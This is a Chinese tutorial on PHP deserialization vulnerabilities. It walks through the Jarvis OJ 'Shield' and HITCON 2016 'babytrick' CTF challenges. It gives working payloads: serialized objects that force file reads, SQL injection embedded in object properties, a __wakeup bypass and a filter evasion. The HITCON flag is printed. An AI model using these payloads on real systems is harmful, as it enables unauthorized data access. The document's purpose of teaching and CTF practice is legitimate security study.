序列化

序列化说通俗点就是把一个对象变成可以传输的字符串

php serialize()函数

用于序列化对象或数组,并返回一个字符串。序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。

  1. <?php
  2. $sites = array('Google', 'Microsoft', 'Facebook');
  3. $serialized_data = serialize($sites);
  4. echo $serialized_data . PHP_EOL;
  5. ?>

输出:

  1. a:3:{i:0;s:6:"Google";i:1;s:9:"Microsoft";i:2;s:8:"Facebook";}
  1. 解释
  2. a: 代表数组(如果是o就代表对象(object))
  3. 3: 代表数组里面有3个变量
  4. i: 代表数据类型(i:ints:string)
  5. 6: 代表数据长度

反序列化

php unserialize()函数

用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。

  1. <?php
  2. $str = 'a:3:{i:0;s:6:"Google";i:1;s:9:"Microsoft";i:2;s:8:"Facebook";}';
  3. $unserialized_data = unserialize($str);
  4. print_r($unserialized_data);
  5. ?>

输出:

  1. Array ( [0] => Google [1] => Microsoft [2] => Facebook )

魔法方法

在php的语法中,有一些系统自带的方法名,均以双下划线开头,它会在特定的情况下被调用。即所谓的魔法函数。在这里主要涉及以下几个:

  1. __construct()...........在每次创建新对象时先调用
  2. __destruct()............某个对象的所有引用都被删除或者当对象被显式销毁时执行
  3. __toString()............用于一个类被当成字符串时应怎样回应
  4. __sleep() ..............在被序列化之前运行
  5. __wakeup()..............反序列化时被调用

实例分析

Jarvis 神盾局的秘密

通过php文件包含漏洞获得源码,这里仅介绍后面的php反序列化漏洞部分

index.php:

  1. <?php
  2. require_once('shield.php');
  3. $x = new Shield();
  4. isset($_GET['class']) && $g = $_GET['class'];
  5. if (!empty($g)) {
  6. $x = unserialize($g);
  7. }
  8. echo $x->readfile();
  9. ?>

shield.php

  1. <?php
  2. //flag is in pctf.php
  3. class Shield {
  4. public $file;
  5. function __construct($filename = '') {
  6. $this -> file = $filename;
  7. }
  8. function readfile() {
  9. if (!empty($this->file) && stripos($this->file,'..')===FALSE
  10. && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
  11. return @file_get_contents($this->file);
  12. }
  13. }
  14. }
  15. ?>

__construct函数在实例被创建的时候(也就是new Shield()的时候)执行,所以不会影响对$file的操作

  1. <?php
  2. //flag is in pctf.php
  3. class Shield {
  4. public $file;
  5. function __construct($filename = '') {
  6. $this -> file = $filename;
  7. }
  8. function readfile() {
  9. if (!empty($this->file) && stripos($this->file,'..')===FALSE
  10. && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
  11. return @file_get_contents($this->file);
  12. }
  13. }
  14. }
  15. $shield=new Shield('pctf.php');
  16. echo serialize($shield);
  17. ?>

输出:

  1. O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

payload:

  1. http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

Hitcon-ctf-2016 babytrick

https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2016/babytrick

  1. <?php
  2. //include:将 PHP 文件的内容插入另一个 PHP 文件
  3. include "config.php";
  4. class HITCON{
  5. //private:被private修饰的变量和方法,只能在所在的类的内部被调用和修改,不可以在类的外部被访问。在子类中也不可以。
  6. private $method;
  7. private $args;
  8. private $conn;
  9. //定义一个构造方法初始化赋值
  10. public function __construct($method, $args) {
  11. $this->method = $method;
  12. $this->args = $args;
  13. $this->__conn();
  14. }
  15. function show() {
  16. list($username) = func_get_args();
  17. //sprint:把格式化的字符串写入一个变量中
  18. $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
  19. $obj = $this->__query($sql);
  20. if ( $obj != false ) {
  21. $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
  22. } else {
  23. $this->__die("Nobody Nobody But You!");
  24. }
  25. }
  26. function login() {
  27. global $FLAG;
  28. list($username, $password) = func_get_args();
  29. //trim:移除字符串两侧的空白字符或其他预定义字符
  30. //mysql_escape_string:转义特殊字符
  31. $username = strtolower(trim(mysql_escape_string($username)));
  32. $password = strtolower(trim(mysql_escape_string($password)));
  33. $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);
  34. //stripos:查找字符串第一次出现的位置
  35. if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
  36. $this->__die("Orange is so shy. He do not want to see you.");
  37. }
  38. $obj = $this->__query($sql);
  39. if ( $obj != false && $obj->role == 'admin' ) {
  40. $this->__die("Hi, Orange! Here is your flag: " . $FLAG);
  41. } else {
  42. $this->__die("Admin only!");
  43. }
  44. }
  45. function source() {
  46. //highlight_file:对文件进行语法高亮显示
  47. highlight_file(__FILE__);
  48. }
  49. function __conn() {
  50. global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
  51. if (!$this->conn)
  52. $this->conn = mysql_connect($db_host, $db_user, $db_pass);
  53. mysql_select_db($db_name, $this->conn);
  54. if ($DEBUG) {
  55. $sql = "CREATE TABLE IF NOT EXISTS users (
  56. username VARCHAR(64),
  57. password VARCHAR(64),
  58. role VARCHAR(64)
  59. ) CHARACTER SET utf8";
  60. $this->__query($sql, $back=false);
  61. $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
  62. $this->__query($sql, $back=false);
  63. }
  64. mysql_query("SET names utf8");
  65. mysql_query("SET sql_mode = 'strict_all_tables'");
  66. }
  67. function __query($sql, $back=true) {
  68. $result = @mysql_query($sql);
  69. if ($back) {
  70. return @mysql_fetch_object($result);
  71. }
  72. }
  73. function __die($msg) {
  74. $this->__close();
  75. header("Content-Type: application/json");
  76. die( json_encode( array("msg"=> $msg) ) );
  77. }
  78. function __close() {
  79. mysql_close($this->conn);
  80. }
  81. function __destruct() {
  82. $this->__conn();
  83. if (in_array($this->method, array("show", "login", "source"))) {
  84. @call_user_func_array(array($this, $this->method), $this->args);
  85. } else {
  86. $this->__die("What do you do?");
  87. }
  88. $this->__close();
  89. }
  90. function __wakeup() {
  91. foreach($this->args as $k => $v) {
  92. $this->args[$k] = strtolower(trim(mysql_escape_string($v)));
  93. }
  94. }
  95. }
  96. if(isset($_GET["data"])) {
  97. @unserialize($_GET["data"]);
  98. } else {
  99. new HITCON("source", array());
  100. }
  101. ?>

源码审计:

php反序列化漏洞、对象注入,unserialize函数没有过滤而__wakeup函数进行了过滤,绕过__wakeup函数:对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行(参考链接4)

首先传入参数data需要构造序列化,通过sql注入获取orange用户的数据库密码

show()

  1. function show() {
  2. list($username) = func_get_args();
  3. //sprint:把格式化的字符串写入一个变量中
  4. $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
  5. $obj = $this->__query($sql);
  6. if ( $obj != false ) {
  7. $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
  8. } else {
  9. $this->__die("Nobody Nobody But You!");
  10. }
  11. }

通过分析show方法,构造如下:

payload:

  1. <?php
  2. class HITCON{
  3. private $method="show";
  4. private $args=array("yoloyanng' union select password,username,role from users where username = 'orange' -- ");
  5. private $conn=1;
  6. }
  7. $hit = new HITCON();
  8. $result = serialize($hit);
  9. var_dump($result);
  10. ?>

执行的sql语句为:

  1. SELECT * FROM users WHERE username='lll' union select password,username,role from users where username = 'orange' -- '

疑问:不知为何username的值也是有限制,输入一些其他的字符并不能够得到结果

得到:

  1. O:6:"HITCON":2:{s:14:"HITCONmethod";s:4:"show";s:12:"HITCONargs";a:1:{i:0;s:87:"lll' union select password,username,role from users where username = 'orange' -- ";}}s:12:"HITCONconn";i:1;}

构造如下:

  1. O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:79:"lll' union select password,username,role from users where username='orange' -- ";}}s:12:"%00HITCON%00conn";i:1;}

说明:至于为什么加上%00:当字符串为private类型时,序列化时生成的序列化字符串中类名前后会有0×00

得到:{"msg":"root is admin"}

login()

  1. function login() {
  2. global $FLAG;
  3. list($username, $password) = func_get_args();
  4. $username = strtolower(trim(mysql_escape_string($username)));
  5. $password = strtolower(trim(mysql_escape_string($password)));
  6. $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);
  7. if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
  8. $this->__die("Orange is so shy. He do not want to see you.");
  9. }
  10. $obj = $this->__query($sql);
  11. if ( $obj != false && $obj->role == 'admin' ) {
  12. $this->__die("Hi, Orange! Here is your flag: " . $FLAG);
  13. } else {
  14. $this->__die("Admin only!");
  15. }
  16. }
  1. if ( $username == 'orange' || stripos($sql, 'orange') != false )

可以看到对于用户名进行了过滤,可以参考连接3的绕过方法

payload:

  1. <?php
  2. class HITCON{
  3. private $method;
  4. private $args;
  5. public function __construct($method, $args) {
  6. $this->method = $method;
  7. $this->args = $args;
  8. }
  9. }
  10. $args['username'] = 'orÃnge';
  11. $args['password'] = 'root';
  12. $data = new HITCON('login',$args);
  13. var_dump(serialize($data));
  14. ?>

得到:

  1. O:6:"HITCON":2:{s:14:"HITCONmethod";s:5:"login";s:12:"HITCONargs";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:4:"root";}}

构造:

  1. O:6:"HITCON":2:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:4:"root";}}

{"msg":"Hi, Orange! Here is your flag: HITCON{php 4nd mysq1 are s0 mag1c, isn't it?}"}

参考

(1)https://www.freebuf.com/articles/web/167721.html

(2)https://blog.csdn.net/qq_40996739/article/details/82724602

(3)https://blog.spoock.com/2016/11/08/hitcon-babytrick-writeup/

(4)https://www.freebuf.com/vuls/116705.html

PHP反序列化漏洞研究的更多相关文章

  1. fastjson反序列化漏洞研究(上)

    前言 最近护网期间,又听说fastjson传出“0day”,但网上并没有预警,在github上fastjson库中也有人提问关于fastjson反序列化漏洞的详情.也有人说是可能出现了新的绕过方式.不 ...

  2. fastjson反序列化漏洞研究(下)

    之前的文章显示字符太多 拒绝显示  只好分为两篇了 这样我们只需要找到可以利用的类,构造poc链就好了,这个和以前的java反序列化漏洞类似,先不说.网上最早的poc是使用com.sun.org.ap ...

  3. Fastjson反序列化漏洞研究

    0x01 Brief Description java处理JSON数据有三个比较流行的类库,gson(google维护).jackson.以及今天的主角fastjson,fastjson是阿里巴巴一个 ...

  4. 五个demo案例带你学习PHP反序列化漏洞

    一直想研究下php反序列化漏洞,花了几天时间做了个简单的了解..写篇文章记录下. 直白点就是围绕着serialize和unserialize两个函数. 一个用于序列化,一个用于反序列化. 我们通常把字 ...

  5. 反序列化漏洞问题研究之php篇

    php的反序列化反序列化漏洞又称php对象注入(php Object Injection)产生的问题主要分以下两类: 将传来的序列化数据直接unserilize,造成魔幻函数的执行.这种情况在一般的应 ...

  6. Java反序列化漏洞执行命令回显实现及Exploit下载

    原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...

  7. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  8. Node.js 反序列化漏洞远程执行代码(CVE-2017-5941)

    2.1 摘要 2.1.1 漏洞介绍 漏洞名称: Exploiting Node.js deserialization bug for Remote Code Execution 漏洞CVE id: C ...

  9. Java反序列化漏洞实现

    一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...

随机推荐

  1. 阿里云Linux服务器购买、配置

    购买.配置阿里云Linux服务器配置ftp发布网站全教程 http://blog.csdn.net/Jolesen/article/details/77505840

  2. 【Flutter学习】事件处理与通知之事件处理

    一,概述 移动应用中一个必不可少的环节就是与用户的交互,在Flutter中提供的手势检测为GestureDetector. Flutter中的手势系统分为二层: 第一层是触摸原事件(指针) Point ...

  3. Nginx + Tomcat 配置负载均衡集群简单实例

    一.Hello world 1.前期环境准备 准备两个解压版tomcat,如何同时启动两个tomcat,请看我的另一篇文章<一台机器同时启动多个tomcat>. nginx官网下载解压版n ...

  4. 重写__eq__函数——对象list中使用in index()——获得list中不同属性对象个数

    https://blog.csdn.net/anlian523/article/details/80868961

  5. canvas简单画图板

    <!DOCTYPE html> <html lang='en'> <head> <meta charset='UTF-8'> <title> ...

  6. upc组队赛14 Evolution Game【dp】

    Evolution Game 题目描述 In the fantasy world of ICPC there are magical beasts. As they grow, these beast ...

  7. Python集成开发环境Pycharm+Git+Gitee(码云)

    ********************************************************************* 本文主要介绍集成开发环境的配置过程,方便多人协作办公.代码版 ...

  8. Jackson教程

    Jackson是一个简单基于Java应用库,Jackson可以轻松的将Java对象转换成json对象和xml文档,同样也可以将json.xml转换成Java对象.Jackson所依赖的jar包较少,简 ...

  9. Oracle日志查看

    一.Oracle日志的路径: 登录:sqlplus "/as sysdba" 查看路径:SQL> select * from v$logfile; SQL> selec ...

  10. jumpserver注意事项以及报错处理

    需要注意下面亮点 在使用jumpserver过程中,有一步是系统用户推送,要推送成功,client(后端服务器)要满足以下条件: 后端服务器需要有python.sudo环境才能使用推送用户,批量命令等 ...